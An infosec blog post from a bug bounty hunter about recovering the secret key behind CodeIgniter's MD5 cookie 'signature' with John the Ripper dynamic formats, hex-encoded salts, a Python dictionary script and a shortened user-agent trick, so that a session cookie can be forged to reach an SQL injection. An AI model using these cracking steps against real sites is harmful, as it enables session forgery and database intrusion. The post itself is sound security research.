Cracking A "Signed" Cookie

2017-12-29 2817 words 14 minutes in Infosec

Contents

During some downtime for the holidays, I have been looking into some public bug bounty programs. One of these programs brought me across an interesting SQLi vulnerability: a value is obtained from a cookie and used in a dynamic SQL query without sanitizing. This would be trivial to exploit but for one thing: the contents of the cookie are protected from tampering by a simple “signature”. This post explores whether the signature can be cracked with John The Ripper.

Scenario

The application where I discovered this bug is based on CodeIgniter, a PHP framework for web applications. I put signature in quotes above because CodeIgniter’s signature construction appears to be cryptographically weak. CodeIgniter stores session data in a PHP associative array, which is serialized to a string and placed in a cookie. The signature is the MD5 hash of the serialized string and a secret key, and the signature is appended to the cookie. Here’s an example:

$ fold cookie
a:4:{s:10:"session_id";s:32:"8a70dfc8e6433b28ff7cf138b6d1d2a5";s:10:"ip_addr
ess";s:12:"XX.XXX.XX.20";s:10:"user_agent";s:120:"Mozilla/5.0 (Macintosh; In
tel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.320
2.94 Safari/537.36";s:13:"last_activity";i:1512923530;}a680075dd6b96d4f44beb
9a9731ed722

This excerpt from CodeIgniter shows how a cookie is parsed and the signature is checked:

$hash    = substr($session, strlen($session)-32);
$session = substr($session, 0, strlen($session)-32);
if ($hash !== md5($session.$this->encryption_key)) {
    // INVALID COOKIE!
}

The code splits the serialized object and signature apart, hashes the object with the secret key, then compares the hash to the signature. If a malicious user modifies any of the data in the session cookie, this signature check will fail and the session cookie will be rejected.

If an attacker could manipulate the session cookie, that would cause a serious vulnerability in any application built on this framework. In the application I was reviewing at the outset, it would allow me to exploit SQLi, but in a more general sense, any uncontrolled input to PHP’s unserialize() function is a serious flaw. Therefore, the safety of this signature construction is crucial.

To my untrained (non-cryptographer) eyes, the construction of the signature looks weak, but I can not think of a specific attack against it. MD5 is a weak hash, but the known attacks (such as chosen-prefix or length extension do not appear to be useful here. Still, MD5 is a fast hash that is relatively easy to brute force. The CodeIgniter documentation suggests a random 32 byte password–a keyspace far too large to brute force–but do developers always follow instructions?

John The Ripper: Part 1

I want to use the password cracker John The Ripper to brute force the cookie’s signing key. Some mental gymnastics are necessary here in order to recast our cookie signature construction as a password hash construction. First, let’s think of the message signature (which is just an MD5 hash) as a password hash. Then, the “password” is the serialized PHP object concatenated with the secret key. If the object is 300 bytes and the key is 10 bytes, then this “password” is 310 bytes long. This would normally be way too big to brute force, but if we know the first 300 bytes, then we only need to brute force the last 10 bytes.

John allows us to specify known parts of a password using a mask, which is a string of specifiers that define a password’s structure. For example, the specifier ?u indicates an upper-case letter. If you know that a password starts with a capital letter followed by 7 lower case letters, then you should set the mask to ?u?l?l?l?l?l?l?l, which will search for passwords like Werewolf and Bjsiiuqh.

The mask also allows constant strings to be specified in the mask. For example, if you know that all users append the current year to their passwords, then you can specify a mask like ?u?l?l?l?l?l?l?l2017. This will search for passwords like Werewolf2017 and Bjsiiuqh2017.

Therefore, my first attempt at cracking the server’s signing key is to include the PHP object in the password mask (wrapped for readability):

$ john --mask='a:4:{s:10:"session_id";s:32:"8a70dfc8e6433b28ff7cf138b6d1d2a5
";s:10:"ip_address";s:12:"XX.XXX.XX.20";s:10:"user_agent";s:120:"Mozilla/5.0
(Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTML, like Gecko) C
hrome/62.0.3202.94 Safari/537.36";s:13:"last_activity";i:1512923530;}?w'
-w=/usr/share/dict/rockyou.txt --format=Raw-MD5 hashes
Can't set max length larger than 55 for Raw-MD5 format

In this particular example, I am actually trying a hybrid mask attack, which uses words from a dictionary to expand the ?w specifier, and I am using the well-known RockYou wordlist.

Unfortunately, this approach does not work! For performance reasons, John limits MD5 masks to 55 bytes. This limit is not easily changed: it is baked into the design decisions that make John so efficient at cracking MD5. So for the moment, it seems like I am not able to solve this problem with John.

Custom Scripts

I switched gears and wrote a pair of Python scripts that try to recover the signing key with a brute force attack and a dictionary attack, respectively. The dictionary script uses the RockYou wordlist and is short enough to print in its entirety here:

import hashlib

base = hashlib.md5()
base.update(r'a:5:{s:10:"session_id";s:32:"3cd21e4ea3626d356f9a801e8d6cefb1'
            r'";s:10:"ip_address";s:12:"XX.XXX.XX.20";s:10:"user_agent";s:1'
            r'20:"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebK'
            r'it/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.'
            r'36";s:13:"last_activity";i:1513012319;s:9:"user_data";s:0:"";}'
            .encode('ascii'))
target = b'\xa6\x80\x07\x5d\xd6\xb9\x6d\x4f\x44\xbe\xb9\xa9\x73\x1e\xd7\x22'

print('Base hash is {}'.format(base.hexdigest()))
row = 0

with open('/usr/share/dict/rockyou.txt', 'rb') as ry:
    for line in ry:
        word = line.strip()
        hash = base.copy()
        hash.update(word)
        if hash.digest() == target:
            print('key recovered: {} (md5={})'.format(word, hash.hexdigest()))
            break
        row += 1
        if row % 100000 == 0:
            print('row {} ({})'.format(row, word))

This script uses one little trick to improve performance: the hash of the PHP object is computed once at the beginning and then cloned for each candidate from the wordlist, avoiding the need to hash the same string repeatedly. This little performance trick pales in comparison to John, which is so heavily optimized that it borders on sorcery.

$ time python3  dict.py
Base hash is a680075dd6b96d4f44beb9a9731ed722
row 100000 (b'sagar')
row 200000 (b'judyjudy')
row 300000 (b'mcandrew')
...snip...
row 14100000 (b'031496075')
row 14200000 (b'0148375')
row 14300000 (b'*jo19930603cy*')

real	0m19.306s
user	0m19.242s
sys	0m0.060s

This quick test indicates that it can check about 740 kilohashes per second; this is fast enough for a wordlist, but slow enough that brute force is infeasible for all but the smallest keyspaces.

A Step Back

My next tactic was to create a test case for which I knew the secret key and use this to experiment with John a bit more. I wrote the following PHP script:

<?php
// Usage: php example.php <OBJECT STRING> <KEY>
$obj = serialize(array('foo'=>$argv[1]));
$obj_len = strlen($obj);
$key = $argv[2];
$hash = md5($obj . $key);
$cookie = $obj . $hash;
echo "Key: $key\nObject length: $obj_len\nCookie: $cookie\n";

I can use this script to generate a short example cookie for which I know the key:

$ php example.php bar ABCD
Key: ABCD
Object length: 26
Cookie: a:1:{s:3:"foo";s:3:"bar";}944933f1ba61678081d1188876908c77

This short cookie (only 26 bytes, not counting the signature) is now small enough to fit inside John’s mask.

$ cat hashes
cookie:944933f1ba61678081d1188876908c77

$ john --pot=my.pot --mask='a:1:{s:3:"foo";s:3:"bar";}?u?u?u?u' --format='Raw-MD5' hashes2
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 128/128 AVX 4x3])
Warning: no OpenMP support for this hash type, consider --fork=8
Press 'q' or Ctrl-C to abort, almost any other key for status
a:1:{s:3:"foo";s:3:"bar";}ABCD (cookie)
1g 0:00:00:00 DONE (2017-12-29 21:07) 14.28g/s 2864Kp/s 2864Kc/s 2864KC/s a:1:{s:3:"foo";s:3:"bar";}GDCD..a:1:{s:3:"foo";s:3:"bar";}SPCD
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Great! The mask approach can recover the secret key! But it only works for this short, totally contrived cookie. My real cookie is around 300 characters long.

John The Ripper: Part 2

I posted a message describing my problem on the John-users mailing list to see if anybody could show me a way around the apparent 55-character limit. One reply suggested a brilliant alternative: instead of putting the PHP object into a mask, treat the PHP object as a cryptographic salt. Recall that the construction of the signature looks like this:

$hash = md5($session . $this->encryption_key);

The session string is known to us, and the encryption key is the part we want to brute force, which means this operation is identical to a common salted password construction:

$hash = md5($salt . $password);

John has a feature called “dynamic formats” that supports this exact construction. All I need to do is format my hash in a special way:

$ cat hashes
cookie1:$dynamic_4$944933f1ba61678081d1188876908c77$a:1:{s:3:"foo";s:3:"bar";}

The format of the hash file is <USERNAME>:$<DYNAMIC FORMAT>$<HASH>$<SALT>. The username can be any arbitrary string. The hash is set to the cookie’s signature, and the salt is set to the PHP object. The format name can be obtained by listing John’s formats:

$ john --list=subformats | grep 'md5($s.$p)'
Format = dynamic_4   type = dynamic_4: md5($s.$p) (OSC)
Format = dynamic_10  type = dynamic_10: md5($s.md5($s.$p))
UserFormat = dynamic_1009  type = dynamic_1009: md5($s.$p) (RADIUS Responses)
UserFormat = dynamic_1017  type = dynamic_1017: md5($s.$p) (long salt)
UserFormat = dynamic_1350  type = dynamic_1350: md5(md5($s.$p):$s)
UserFormat = dynamic_2004  type = dynamic_2004: md5($s.$p) (OSC) (PW > 31 bytes)
UserFormat = dynamic_2010  type = dynamic_2010: md5($s.md5($s.$p)) (PW > 32 or salt > 23 bytes)

The first line of output shows us that the construction we need is called dynamic_4, but unfortunately, this still does not work:

$ john --pot=my.pot --mask='?u?u?u?u' --format=dynamic='md5($s.$p)' hashes2
Using default input encoding: UTF-8
Loaded 1 password hash (dynamic=md5($s.$p) [128/128 AVX 4x3])
Warning: no OpenMP support for this hash type, consider --fork=8
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:00 DONE (2017-12-29 21:16) 0g/s 5712Kp/s 5712Kc/s 5712KC/s CQQQ..QQQQ
Session completed

Although there’s no error message indicating what happened, it turns out that the salt is not allowed to contain colons. Colons are used as delimiters, so John parses the hash file incorrectly. Fortunately, there is a workaround: hex encoding the salt.

$ echo -n 'a:1:{s:3:"foo";s:3:"bar";}' | xxd -ps
613a313a7b733a333a22666f6f223b733a333a22626172223b7d

$ fold -w 70 hashes
cookie1:$dynamic_4$944933f1ba61678081d1188876908c77$HEX$613a313a7b733a
333a22666f6f223b733a333a22626172223b7d

Note that the salt now shows $HEX$ followed by the hex encoding of the PHP object. Let’s run John again:

$ john --pot=my.pot --mask='?u?u?u?u' --format=dynamic='md5($s.$p)' hashes
Using default input encoding: UTF-8
Loaded 1 password hash (dynamic=md5($s.$p) [128/128 AVX 4x3])
Warning: no OpenMP support for this hash type, consider --fork=8
Press 'q' or Ctrl-C to abort, almost any other key for status
ABCD             (cookie1)
1g 0:00:00:00 DONE (2017-12-29 21:20) 14.28g/s 2880Kp/s 2880Kc/s 2880KC/s NJMD..FRBD
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Sweet, this crazy salt idea actually works!

Long Salts

Now that I’ve tested the salt idea, I want to scale it up to see if it solves my original problem of cracking a cookie around ~300 characters. First I will try with a slightly longer salt, but still under the 55 character maximum.

$ php example.php $(php -r 'echo str_repeat("A",30);') BCDE
Key: BCDE
Object length: 54
Cookie: a:1:{s:3:"foo";s:30:"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";}500250497b60c248c7525cfba5f14fe2

$ fold -w 70 hashes
cookie1:$dynamic_4$944933f1ba61678081d1188876908c77$HEX$613a313a7b733a
333a22666f6f223b733a333a22626172223b7d
cookie2:$dynamic_4$500250497b60c248c7525cfba5f14fe2$HEX$613a313a7b733a
333a22666f6f223b733a33303a22414141414141414141414141414141414141414141
414141414141414141223b7d

$ john --pot=my.pot --mask='?u?u?u?u' --format=dynamic='md5($s.$p)' hashes
Using default input encoding: UTF-8
Loaded 1 password hash (dynamic=md5($s.$p) [128/128 AVX 4x3])
Warning: no OpenMP support for this hash type, consider --fork=8
Press 'q' or Ctrl-C to abort, almost any other key for status
ABCD             (cookie1)
1g 0:00:00:00 DONE (2017-12-29 14:08) 12.50g/s 2520Kp/s 2520Kc/s 2520KC/s NJMD..FRBD
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Wait, what just happened?! John is acting like it can only see the hash from the previous section (cookie1) and has completely ignored my new hash (cookie2). Despite not showing an error message, it turns out that the dynamic format doesn’t support a salt this long (54 bytes).

Feeling stuck, I reviewed the format list again, and I noticed a format with the same construction and a different name: dynamic_1017: md5($s.$p) (long salt). The “long salt” bit sounds promising, so I tried using this dynamic format instead.

$ fold -w 70 hashes
cookie1:$dynamic_4$944933f1ba61678081d1188876908c77$HEX$613a313a7b733a
333a22666f6f223b733a333a22626172223b7d
cookie2:$dynamic_1017$500250497b60c248c7525cfba5f14fe2$HEX$613a313a7b7
33a333a22666f6f223b733a33303a22414141414141414141414141414141414141414
141414141414141414141223b7d

$ john --pot=my.pot --mask='?u?u?u?u' --format=dynamic_1017 hashes
Using default input encoding: UTF-8
Loaded 1 password hash (dynamic_1017 [md5($s.$p) (long salt) 128/128 AVX 4x3])
Warning: no OpenMP support for this hash type, consider --fork=8
Press 'q' or Ctrl-C to abort, almost any other key for status
BCDE             (cookie2)
1g 0:00:00:00 DONE (2017-12-29 21:32) 16.66g/s 448000p/s 448000c/s 448000C/s NSDE..FJYE
Use the "--show" option to display all of the cracked passwords reliably
Session completed

It works! The secret key for cookie2 has been recovered. This whole experiment has been a pile of deadends, research, and workarounds, but now it feels like I am getting close to solving my original problem. Can I scale this up to my 300 character cookie?

$ php example.php $(php -r 'echo str_repeat("A",275);') CDEF | fold -w 70
Key: CDEF
Object length: 300
Cookie: a:1:{s:3:"foo";s:275:"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAA";}ba152bbd2c4494b09a164276152c7828

$ fold -w 70 hashes
cookie3:$dynamic_1017$ba152bbd2c4494b09a164276152c7828$HEX$613a313a7b7
33a333a22666f6f223b733a3237353a224141414141414141414141414141414141414
1414141414141414141414141414141414141414141414141414141414141414141414
1414141414141414141414141414141414141414141414141414141414141414141414
1414141414141414141414141414141414141414141414141414141414141414141414
1414141414141414141414141414141414141414141414141414141414141414141414
1414141414141414141414141414141414141414141414141414141414141414141414
1414141414141414141414141414141414141414141414141414141414141414141414
1414141414141414141414141414141414141414141414141414141414141414141414
14141414141414141414141223b7d

$ rm my.pot

$ john --pot=my.pot --mask='?u?u?u?u' --format=dynamic_1017 hashes
Using default input encoding: UTF-8
No password hashes loaded (see FAQ)

Crap. Once again, John is ignoring my hash, presumably because the salt is too long. A post on the John-users mailing list reveals the likely problem:

The buffer length max for ANYTHING in dynamic is 256 bytes.

After experimenting with a lot of different lengths, however, it seems like the maximum salt length is 191 bytes, not 256 bytes. In either case, my cookie is too large to fit.

One Last Crack

I’ve already pushed John to its limit, so now I will try to make the cookie itself shorter. Let’s review the long cookie I showed at the outset:

$ fold cookie
a:4:{s:10:"session_id";s:32:"8a70dfc8e6433b28ff7cf138b6d1d2a5";s:10:"ip_addr
ess";s:12:"XX.XXX.XX.20";s:10:"user_agent";s:120:"Mozilla/5.0 (Macintosh; In
tel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.320
2.94 Safari/537.36";s:13:"last_activity";i:1512923530;}a680075dd6b96d4f44beb
9a9731ed722

Notice that a user agent string is embedded in the PHP object. If I send a request to the server with curl -H 'User-agent:' <HOST>, then the server will send a cookie like this:

$ fold cookie
a:5:{s:10:"session_id";s:32:"fb4344763818ee3b3db81a939e08c1f0";s:10:"ip_address"
;s:12:"XX.XXX.XX.20";s:10:"user_agent";s:0:"";s:13:"last_activity";i:1514573995;
s:9:"user_data";s:0:"";}1c7232c041f1ae5931bbd41e27e70868

This object is only 184 bytes long (excluding the signature) because the user agent string has been trimmed down. This is just short enough to fit inside a salt! (I have signed this cookie with the same “CDEF” key for testing purposes.)

$ fold hashes
cookie3:$dynamic_1017$167400e41d785fab9dcdcf10ebe7a83a$HEX$613a353a7b733a31303a2
273657373696f6e5f6964223b733a33323a226662343334343736333831386565336233646238316
139333965303863316630223b733a31303a2269705f61646472657373223b733a31323a2258582e5
858582e58582e3230223b733a31303a22757365725f6167656e74223b733a303a22223b733a31333
a226c6173745f6163746976697479223b693a313531343537333939353b733a393a22757365725f6
4617461223b733a303a22223b7d

$ john --pot=my.pot --mask='?u?u?u?u' --format=dynamic_1017 hashes
Using default input encoding: UTF-8
Loaded 1 password hash (dynamic_1017 [md5($s.$p) (long salt) 128/128 AVX 4x3])
Warning: no OpenMP support for this hash type, consider --fork=8
Press 'q' or Ctrl-C to abort, almost any other key for status
CDEF             (cookie3)
1g 0:00:00:00 DONE (2017-12-29 22:16) 8.333g/s 3094Kp/s 3094Kc/s 3094KC/s CJAF..QROF
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Whew, finally I am able to crack a real cookie! Of course, I have recovered a key of my own choosing, not the server’s signing key. Now that I have John set up correctly, I can at least get started trying to crack the server’s key. But I’ll leave that for another day.

Before we adjourn, let’s see how much faster John is than my Python script. I’ll run John on the same RockYou wordlist. The dynamic format does not work with OpenMP parallelism, so I have opted for multiple processes instead.

$ time john --pot=my.pot --wordlist=/usr/share/dict/rockyou.txt --format=dynamic_1017 --fork=8 hashes
Using default input encoding: UTF-8
Loaded 1 password hash (dynamic_1017 [md5($s.$p) (long salt) 128/128 AVX 4x3])
Node numbers 1-8 of 8 (fork)
Press 'q' or Ctrl-C to abort, almost any other key for status
4 0g 0:00:00:00 DONE (2017-12-29 22:18) 0g/s 2891Kp/s 2891Kc/s 2891KC/s !@@$ny.ie168
5 0g 0:00:00:00 DONE (2017-12-29 22:18) 0g/s 2891Kp/s 2891Kc/s 2891KC/s !@@^(#cl9.abygurl69
2 0g 0:00:00:00 DONE (2017-12-29 22:18) 0g/s 2845Kp/s 2845Kc/s 2845KC/s !@mara..
3 0g 0:00:00:00 DONE (2017-12-29 22:18) 0g/s 2891Kp/s 2891Kc/s 2891KC/s !@pooja..xCvBnM,
8 0g 0:00:00:00 DONE (2017-12-29 22:18) 0g/s 2891Kp/s 2891Kc/s 2891KC/s !@trugam27..
1 0g 0:00:00:00 DONE (2017-12-29 22:18) 0g/s 2845Kp/s 2845Kc/s 2845KC/s !@DS650bomb..
6 0g 0:00:00:00 DONE (2017-12-29 22:18) 0g/s 2845Kp/s 2845Kc/s 2845KC/s !@BALLER.a6_123
7 0g 0:00:00:00 DONE (2017-12-29 22:18) 0g/s 2801Kp/s 2801Kc/s 2801KC/s !@3123..*7¡Vamos!
Waiting for 7 children to terminate
Session completed

real	0m0.798s
user	0m4.935s
sys	0m0.630s

The small size of the search space probably makes for a noisy measurement, but John is roughly 25 times faster in dictionary mode than my Python script. In brute force mode (not shown here), John can exhaustively search for an 8 character hex string in about 2 minutes, while my Python script takes over 2 hours (60 times faster).

You may think it is unfair to compare John running on 8 cores to Python running on 1 core. I did try to implement multiprocessing in my Python scripts, but the cloned MD5 states cannot be pickled, and therefore cannot be sent across a process boundary in Python! That is when I gave up on parallelism in Python and went back to tinkering with John.

Although this performance improvement isn’t quite as drastic as I had hoped for, it will allow me to brute force some slightly larger keyspaces. I am currently brute forcing all 10-character hex strings and John is estimating that it will take 10 hours to complete. The same search in Python would have taken over 20 days!

As always, if you have feedback or questions, hit me up on Twitter!